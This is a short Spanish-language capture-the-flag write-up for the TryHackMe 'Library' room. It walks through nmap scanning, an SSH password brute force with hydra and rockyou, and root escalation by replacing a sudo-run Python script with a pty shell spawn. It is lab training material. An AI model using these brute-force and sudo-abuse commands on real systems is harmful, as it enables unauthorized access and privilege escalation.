TryHackMe Easy Linux Hydra SSH Brute Force sudo Python

Library

Usuario encontrado en web; brute force SSH con hydra; escalada via sudo Python sobre script reemplazable.

cat4clysm
Herramientas utilizadas
nmap hydra netcat

Scanning

root@kali:~$
sudo nmap -sC -sV -p 22,80 10.10.254.215 -oN targeted
nmap scan

Puerto 80 - Enumeracion

web

Encontramos posible usuario: Meliodas

robots.txt

SSH Brute Force

root@kali:~$
hydra -l meliodas -P /usr/share/wordlists/rockyou.txt 10.10.61.126 ssh -V -f -t 64
root@kali:~$
ssh [email protected]
cat user.txt
ssh login

Escalada - Sudo Python

root@kali:~$
sudo -l
cat /home/meliodas/bak.py
sudo -l

No podemos editar bak.py pero si borrarlo y recrearlo:

root@kali:~$
rm bak.py
echo "import pty; pty.spawn('/bin/bash')" > bak.py
sudo /usr/bin/python /home/meliodas/bak.py
cat /root/root.txt
root flag

Lecciones aprendidas